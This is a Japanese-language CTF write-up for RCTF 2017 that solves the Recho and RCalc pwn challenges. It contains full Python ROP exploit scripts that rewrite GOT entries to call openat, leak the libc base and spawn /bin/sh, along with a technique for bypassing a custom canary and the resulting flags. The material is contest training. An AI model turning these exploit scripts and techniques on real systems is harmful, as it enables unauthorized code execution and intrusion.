RCTF 2017 Writeup
ogteckで参加していました。
後輩と参加してましたが結局解いたのは自分だけでした。
Misc1問、Pwn2問解いて752点、86位。
PwnのRecho、RCalc、RNoteは個人的に面白かったです(RNoteは解けてないが)。
解いたチーム数によって点数が変わるシステムもよかった。
Writeup
Sign In (Misc 32)
IRCのチャンネルに参加するとフラグがもらえる。
RCTF{Welcome_To_RCTF_2017}
Recho (Pwn 370)
ELF 64-bit、動的リンク、NX有効。
% file Recho Recho: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64 /ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6696795a3d110750d6229d85238cad1a6789229 8, not stripped % checksec -f Recho RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fo rtified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 04 Recho
1行目で文字数、2行目で文字列を入力すると同じ文字列を返してくる。
% ./Recho Welcome to Recho server! 12 AAAAAAAAAAAA AAAAAAAAAAAA 11 AAAAAAAAAAA AAAAAAAAAAA
何もチェックを行わず入力した値をreadに渡しているためスタックバッファオーバーフローを起こせる。
4007c2: e8 59 fe ff ff call 400620 <atoi@plt> 4007c7: 89 45 fc mov DWORD PTR [rbp-0x4],eax 4007ca: 83 7d fc 0f cmp DWORD PTR [rbp-0x4],0xf 4007ce: 7f 07 jg 4007d7 <main+0x46> 4007d0: c7 45 fc 10 00 00 00 mov DWORD PTR [rbp-0x4],0x10 4007d7: 8b 45 fc mov eax,DWORD PTR [rbp-0x4] 4007da: 48 63 d0 movsxd rdx,eax 4007dd: 48 8d 45 d0 lea rax,[rbp-0x30] 4007e1: 48 89 c6 mov rsi,rax 4007e4: bf 00 00 00 00 mov edi,0x0 4007e9: e8 12 fe ff ff call 400600 <read@plt>
ROPを組んでシェルを起動すればいいわけだが、readの返り値が0の時にretが呼ばれるため、接続を切らなくてはいけない。正確には送信方向の接続を切る必要がある(コマンドラインではctrl-D、pythonではsock.shutdown(SHUT_WR))。そのため、ROPの途中でlibc_baseをleakして適応的にROPを再構成する、などということはできない。また、シェルを起動してもコマンドを送れないため、シェルを起動せずに直接フラグを得る必要がある。
フラグのファイル名を指定する必要があるが、retにたどり着いた時点のレジスタの値を見てみるとrsiに文字列へのポインタが格納されているのでここにファイル名を指定してopenのような関数に渡せればよさそう。
RAX: 0x0 RBX: 0x0 RCX: 0x7ffff7b04680 (<__read_nocancel+7>: cmp rax,0xfffffffffffff001) RDX: 0x10 RSI: 0x7fffffffe9a0 --> 0xa3231 ('12\n') RDI: 0x0 RBP: 0x400840 (<__libc_csu_init>: push r15) RSP: 0x7fffffffe9e8 --> 0x7ffff7a2e830 (<__libc_start_main+240>: mov edi,eax) RIP: 0x400834 (<main+163>: ret)
第二引数にファイル名を指定する関数をexec系、open系を中心に探してみるとopenatという関数が見つかった。
% man openat NAME open, openat, creat - open and possibly create a file SYNOPSIS int openat(int dirfd, const char *pathname, int flags); int openat(int dirfd, const char *pathname, int flags, mode_t mode);
第一引数にディレクトリファイルディスクリプタを指定する以外はopenと同じ。pathnameにはdirfdからの相対パスまたは絶対パスを指定する。また、dirfdにAT_FDCWD (= -100)
を指定するとpathnameがカレントディレクトリからの相対パスとして扱われる(つまりopenと同じように使える)。これを使ってopenat->read->writeでフラグを得られる。
add byte [rdi], al; ret
のgadgetがあったのでこれを使ってwriteのGOTをopenatに変えることでopenatを呼び出した。
from ppapwn import * import sys if __name__ == '__main__': if len(sys.argv) == 1: s = Local(["./Recho"]) else: s = Remote("recho.2017.teamrois.cn",9527) read_plt = 0x400600 write_plt = 0x4005d0 write_got = 0x601018 write_offset = 0xf66d0 openat_offset = 0xf6510 add_rdi_al = 0x40070d pop_rdi = 0x4008a3 pop_rax = 0x4006fc pop_rdx = 0x4006fe pop_rsi_r15 = 0x4008a1 bss_addr = 0x601060 payload = "" payload += "A" * 0x38 # write -> openat payload += p64(pop_rdi) + p64(write_got) payload += p64(pop_rax) + p64(0x40) payload += p64(add_rdi_al) payload += p64(pop_rdi) + p64(write_got+1) payload += p64(pop_rax) + p64(0xff) payload += p64(add_rdi_al) # openat payload += p64(pop_rdi) + p64(0xffffff9c) payload += p64(pop_rdx) + p64(0) payload += p64(write_plt) # openat -> write payload += p64(pop_rdi) + p64(write_got) payload += p64(pop_rax) + p64(0xc0) payload += p64(add_rdi_al) payload += p64(pop_rdi) + p64(write_got+1) payload += p64(pop_rax) + p64(1) # read payload += p64(pop_rdi) + p64(3) payload += p64(pop_rsi_r15) + p64(bss_addr) + "A" * 8 payload += p64(pop_rdx) + p64(0x100) payload += p64(read_plt) # write payload += p64(pop_rdi) + p64(1) payload += p64(write_plt) s.send(str(len(payload))) s.send(payload) s.send("flag") s.close() s.recvuntil("AX") print s.recvline()
% python exploit.py remote RCTF{l0st_1n_th3_3ch0_d6794b}
今までは接続を切るときはsocket全体を閉じていたが、初めに送信方向の接続だけを切る方がpwnに限らずいいかもしれない。
追記:0x601058に"flag"という文字列があるのでそれを使えばopenでできるらしい。
RCalc (Pwn 350)
ELF 64-bit、動的リンク、NX有効。
% file RCalc RCalc: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64 /ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a4fc0eac70bfe647c94e2819a07c84d69d64988 8, stripped % checksec -f RCalc RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fo rtified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 04 RCalc
四則演算を行うプログラムで計算結果を保存する機能がある。
% ./RCalc Input your name pls: h_noson Hello h_noson! Welcome to RCTF 2017!!! Let's try our smart calculator What do you want to do? 1.Add 2.Sub 3.Mod 4.Multi 5.Exit Your choice:1 input 2 integer: 10 30 The result is 40 Save the result? yes What do you want to do? 1.Add 2.Sub 3.Mod 4.Multi 5.Exit Your choice:5
名前の入力はscanf(“%s”)で行っているためスタックバッファオーバーフローする。しかし、オレオレcanaryがあるためオーバーフローは検知されてしまう(最後にNo!!!と出ているのがそれ)。
ubuntu-xenial% python -c 'print "A"*0x200; print 5' | ./RCalc Input your name pls: Hello AAAA...A! Welcome to RCTF 2017!!! Let's try our smart calculator What do you want to do? 1.Add 2.Sub 3.Mod 4.Multi 5.Exit Your choice:No!!!
canaryの機構はpush_canaryとpop_canaryで構成されており、canaryはheapに保存されている。関数呼び出しの度にpush_canaryを行い、関数から出る直前でpop_canaryで取り出した値とスタックの値が等しいかチェックしている。
また、上で触れた計算結果を保存する機能もheapを使っており、計算結果をpushしていくように保存する。そのため計算結果の保存を繰り返し行うとcanaryのアドレスに値を入れることが可能になり、canaryの値をいじることができる。これによってオーバーフロー検知を回避できる。これでripを奪えたのでROPを組んでシェルを起動させる。GOTのアドレスが0x6020xxになっていてscanf(“%s”)では0x20が区切り文字として判定されてしまうためうまくいかず、一度"%ulld"を入力してscanf(“%ulld”)でROPをbss上で再構築してからleaveでrspをbssに移した(pop rdxのgadgetがなかったためreadは使えなかった)。あとはいつものようにlibc_baseをleakしてsystemを呼び出す。
from ppapwn import * import sys import time if __name__ == '__main__': if len(sys.argv) == 1: s = Local(["./RCalc"]) else: s = Remote("rcalc.2017.teamrois.cn",2333) puts_plt = 0x400820 puts_got = 0x602020 puts_offset = 0x6f690 system_offset = 0x45390 scanf_plt = 0x4008e0 pop_rdi = 0x401123 pop_rsi_r15 = 0x401121 leave = 0x401034 bss_addr = 0x6029c0 ps_str = 0x401203 payload = "" payload += "A" * 0x108 payload += p64(0) payload += p64(bss_addr-8) payload += p64(pop_rdi) + p64(ps_str) payload += p64(pop_rsi_r15) + p64(bss_addr+0x110) + "A" * 8 payload += p64(scanf_plt) for i in range(-8,8*11,8): payload += p64(pop_rdi) + p64(bss_addr+0x110) payload += p64(pop_rsi_r15) + p64(bss_addr+i) + "A" * 8 payload += p64(scanf_plt) payload += p64(pop_rdi) + p64(ps_str) payload += p64(pop_rsi_r15) + p64(bss_addr+0x100) + "A" * 8 payload += p64(scanf_plt) payload += p64(leave) s.sendline(payload) for i in range((0x603160-0x603050) // 8): s.sendline("1") s.sendline("1") s.sendline("0") s.send("yes") time.sleep(0.1) s.sendline("1") s.sendline("0") s.sendline("0") s.send("yes") s.recvuntil("The result is 0") s.recvuntil("Your choice:") s.sendline("5") s.sendline("%ulld") s.sendline("0") s.sendline(str(pop_rdi)) s.sendline(str(puts_got)) s.sendline(str(puts_plt)) s.sendline(str(pop_rdi)) s.sendline(str(ps_str)) s.sendline(str(pop_rsi_r15)) s.sendline(str(bss_addr+8*11)) s.sendline("0") s.sendline(str(scanf_plt)) s.sendline(str(pop_rdi)) s.sendline(str(bss_addr+0x100)) s.sendline("/bin/sh") libc_base = u64(s.recvline()) - puts_offset print "[*] libc base is at", hex(libc_base) s.sendline(p64(libc_base+system_offset)) s.interact()
% python exploit.py remote [*] libc base is at 0x7f52bd02c000 [*] Switching to interactive mode $ ls RCalc bin dev flag lib lib32 lib64 $ cat flag RCTF{Y0u_kn0w_th3_m4th_9e78cc}
感想
やっぱり一人は厳しい